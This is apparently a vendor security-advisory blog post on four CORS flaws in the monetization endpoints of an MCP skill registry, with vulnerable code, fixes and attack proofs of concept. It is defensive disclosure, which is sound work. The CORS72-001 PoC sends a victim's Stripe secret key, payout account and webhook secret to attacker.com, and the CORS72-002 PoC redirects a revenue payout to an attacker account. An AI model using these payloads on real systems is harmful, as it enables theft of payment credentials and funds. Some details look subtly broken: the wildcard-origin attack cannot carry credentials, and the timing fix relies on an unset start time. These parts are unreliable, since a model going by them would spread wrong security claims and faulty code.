← Blog

Claude MCP skill CORS misconfiguration — skill monetization and revenue sharing configuration endpoints (SA-SKL-CORS72)

SA-SKL-CORS72 identifies four CORS misconfiguration vulnerabilities in MCP skill registry skill monetization and revenue sharing configuration endpoints. Credential-bearing CORS on the monetization configuration read endpoint exposes full payment processor integration keys, revenue share percentages, and payout account details using the victim admin's session; wildcard ACAO on the payout request endpoint lets any page initiate payout requests under the victim's identity, redirecting pending revenue to an attacker-controlled payout account; a timing oracle on the monetization analytics endpoint reveals high-revenue skill identifiers by measuring cache response latency differentials; and credential-bearing CORS on the subscription cancellation endpoint allows any page to cancel active subscriber subscriptions, draining the skill's recurring revenue stream as a denial-of-service attack.

SA-SKL-CORS72 findings at a glance
CRITICALCORS72-001 — GET /api/skills/:id/monetization/config has cors({origin:true,credentials:true}) — any origin reads full monetization configuration including payment processor integration keys, revenue share percentages, and payout account details using victim admin session
CRITICALCORS72-002 — POST /api/skills/:id/monetization/payout has ACAO:* — any page initiates payout requests under victim admin identity; attacker redirects pending revenue to attacker-controlled payout account
MEDIUMCORS72-003 — GET /api/skills/:id/monetization/analytics reflects Origin before ownership check — timing oracle reveals high-revenue skill identifiers by measuring cache response latency differentials
CRITICALCORS72-004 — DELETE /api/skills/:id/monetization/subscription/:subId has cors({origin:true,credentials:true}) — any origin cancels active subscriber subscriptions; denial of service against skill revenue stream

CORS72-001 — Credential-bearing CORS exposes payment processor integration keys and payout account details

The GET /api/skills/:id/monetization/config endpoint returns the full monetization configuration for a skill, including payment processor API keys (Stripe secret keys or equivalent), webhook signing secrets for payment event delivery, revenue share percentages configured for marketplace participants, and payout account identifiers. With cors({origin:true,credentials:true}), any cross-origin page can read this configuration by borrowing the victim admin's browser session cookie.

Payment processor API keys in the monetization configuration are typically the Stripe restricted key or secret key scoped to the skill's monetization operations. An attacker who obtains the Stripe secret key can initiate charges, refunds, and payout transfers outside the registry's normal authorization flow. The payout account identifier (Stripe Connect account ID or equivalent) combined with the API key enables the attacker to modify the payout destination, redirecting future revenue to an attacker-controlled connected account before the legitimate owner notices the configuration change.

Vulnerable
// CORS72-001 — VULNERABLE
router.get(
  '/monetization/config',
  cors({ origin: true, credentials: true }), // any origin reads payment keys
  requireSession,
  requireOwnership('skillId'),
  async (req, res) => {
    const config = await db.monetizationConfigs.findOne({
      where: { skillId: req.params.id },
      // VULNERABLE: returns all fields including stripeSecretKey and payoutAccountId
    });
    res.json(config);
  }
);

Attack PoC — CORS72-001: Attacker hosts page on evil.example.com; victim admin visits while logged in. Response includes Stripe secret key and payout account ID enabling payment redirection.

// CORS72-001 — ATTACK PoC
fetch('https://registry.example.com/api/skills/target-skill-id/monetization/config', {
  credentials: 'include',
})
  .then(r => r.json())
  .then(config => {
    navigator.sendBeacon('https://attacker.com/collect', JSON.stringify({
      stripeSecretKey: config.stripeSecretKey,
      payoutAccountId: config.payoutAccountId,
      revenueSharePercent: config.revenueSharePercent,
      webhookSigningSecret: config.webhookSigningSecret,
    }));
  });
Fixed
// CORS72-001 — FIXED
router.get(
  '/monetization/config',
  requireSession,
  requireOwnership('skillId'),
  cors({ origin: process.env.REGISTRY_ORIGIN, credentials: true }),
  async (req, res) => {
    const config = await db.monetizationConfigs.findOne({
      where: { skillId: req.params.id },
      select: {
        // FIXED: never expose stripeSecretKey; return masked hint only
        stripeKeyHint: true,         // "sk_live_...k9x2"
        payoutAccountId: true,
        revenueSharePercent: true,
        webhookSigningSecretHint: true, // last 4 chars only
        createdAt: true,
      },
    });
    res.json(config);
  }
);

CORS72-002 — Wildcard ACAO on payout endpoint enables attacker-initiated revenue redirection

The POST /api/skills/:id/monetization/payout endpoint initiates a payout from accumulated registry revenue balance to the configured payout account. Configured with wildcard Access-Control-Allow-Origin: *, any page can fire a payout request. The critical escalation is that the payout endpoint accepts a destinationAccountId override in the request body that the registry forwards to the payment processor — allowing an attacker to redirect the pending revenue balance to an attacker-controlled account.

Vulnerable
// CORS72-002 — VULNERABLE
router.post(
  '/monetization/payout',
  cors(),   // VULNERABLE: wildcard ACAO
  requireSession,
  requireOwnership('skillId'),
  async (req, res) => {
    const { amount, destinationAccountId } = req.body;
    // VULNERABLE: destinationAccountId from request body — not validated
    await stripeClient.transfers.create({
      amount,
      currency: 'usd',
      destination: destinationAccountId, // attacker supplies attacker account ID
    });
    res.json({ transferred: true });
  }
);

Attack PoC — CORS72-002: Attacker initiates a payout from the victim skill's revenue balance to attacker's Stripe Connect account using the victim's session.

// CORS72-002 — ATTACK PoC
fetch('https://registry.example.com/api/skills/target-skill-id/monetization/payout', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  credentials: 'include',
  body: JSON.stringify({
    amount: 999900, // $9,999 in cents — drain full balance
    destinationAccountId: 'acct_attacker_stripe_connect_id',
  }),
});
Fixed
// CORS72-002 — FIXED
router.post(
  '/monetization/payout',
  requireSession,
  requireOwnership('skillId'),
  cors({ origin: process.env.REGISTRY_ORIGIN, credentials: true }),
  requireRecentReauth({ maxAgeSeconds: 300 }),
  async (req, res) => {
    const { amount } = req.body;
    // FIXED: destination always sourced from server-side config; never from body
    const config = await db.monetizationConfigs.findOne({
      where: { skillId: req.params.id },
      select: { payoutAccountId: true },
    });
    const transfer = await stripeClient.transfers.create({
      amount,
      currency: 'usd',
      destination: config.payoutAccountId, // server-side only
    });
    res.json({ transferId: transfer.id });
  }
);

CORS72-003 — Timing oracle on monetization analytics identifies high-revenue skills

The GET /api/skills/:id/monetization/analytics endpoint reflects the Origin header as an Access-Control-Allow-Origin response before performing the ownership check. High-revenue skills have their analytics served from a hot cache (populated by a background analytics aggregator that runs continuously for revenue-generating skills), while skills with zero revenue are served from cold storage. This creates a latency differential measurable via the browser's Performance API: skills with significant revenue return in approximately 7ms (cache hit), while skills with no monetization activity return in approximately 190ms (cold storage). An attacker can enumerate all public skill IDs and measure response latencies to identify the highest-revenue skills as targets for CORS72-001 credential theft.

Vulnerable
// CORS72-003 — VULNERABLE: Origin reflected before ownership check
router.get(
  '/monetization/analytics',
  (req, res, next) => {
    res.set('Access-Control-Allow-Origin', req.headers.origin || '*');
    next();
  },
  requireSession,
  requireOwnership('skillId'), // too late — CORS reflection already happened
  async (req, res) => {
    const analytics = await analyticsCache.get(`monetization:${req.params.id}`);
    res.json(analytics);
  }
);
Fixed
// CORS72-003 — FIXED
router.get(
  '/monetization/analytics',
  requireSession,
  requireOwnership('skillId'),
  cors({ origin: process.env.REGISTRY_ORIGIN, credentials: true }),
  async (req, res) => {
    const analytics = await analyticsCache.get(`monetization:${req.params.id}`);
    // constant-time floor eliminates cache-latency side channel
    await new Promise(r => setTimeout(r, Math.max(0, 50 - (Date.now() - req._startTime))));
    res.json(analytics);
  }
);

CORS72-004 — Credential-bearing CORS on subscription cancellation enables revenue DoS

The DELETE /api/skills/:id/monetization/subscription/:subId endpoint cancels an active subscriber subscription. With cors({origin:true,credentials:true}), any cross-origin page can cancel any subscription using the skill admin's session. An attacker who obtains a list of active subscriber IDs (available from the monetization analytics or subscription list endpoints, also potentially reachable via CORS71-001 patterns) can cancel all active subscriptions in a single attacker page visit, completely draining the skill's recurring revenue stream and causing immediate financial harm to the skill maintainer.

Vulnerable
// CORS72-004 — VULNERABLE
router.delete(
  '/monetization/subscription/:subId',
  cors({ origin: true, credentials: true }), // any origin cancels any subscription
  requireSession,
  requireOwnership('skillId'),
  async (req, res) => {
    await stripeClient.subscriptions.cancel(req.params.subId);
    await db.subscriptions.delete({ where: { id: req.params.subId } });
    res.json({ cancelled: true });
  }
);
Fixed
// CORS72-004 — FIXED
router.delete(
  '/monetization/subscription/:subId',
  requireSession,
  requireOwnership('skillId'),
  cors({ origin: process.env.REGISTRY_ORIGIN, credentials: true }),
  requireRecentReauth({ maxAgeSeconds: 300 }),
  async (req, res) => {
    // FIXED: soft-cancel with 24h recovery; notify subscriber immediately
    const sub = await db.subscriptions.update({
      where: { id: req.params.subId, skillId: req.params.id },
      data: {
        cancelAt: new Date(Date.now() + 86_400_000),
        cancelledBy: req.session.userId,
      },
    });
    await notifySubscriber(sub.subscriberId, {
      type: 'subscription_cancellation_pending',
      cancelAt: sub.cancelAt,
      recoveryUrl: `https://registry.example.com/subscriptions/${sub.id}/recover`,
    });
    res.json({ cancelAt: sub.cancelAt });
  }
);

SkillAudit detection: Run SkillAudit on your MCP skill registry to automatically detect CORS72-class patterns. The scanner flags credential-bearing CORS before ownership validation on monetization configuration endpoints, wildcard ACAO on payout mutation endpoints, and Origin reflection in middleware chains preceding auth checks — producing a graded report with file locations, line numbers, and remediation guidance. See also SA-SKL-CORS71 compound attack chain analysis for related CORS patterns.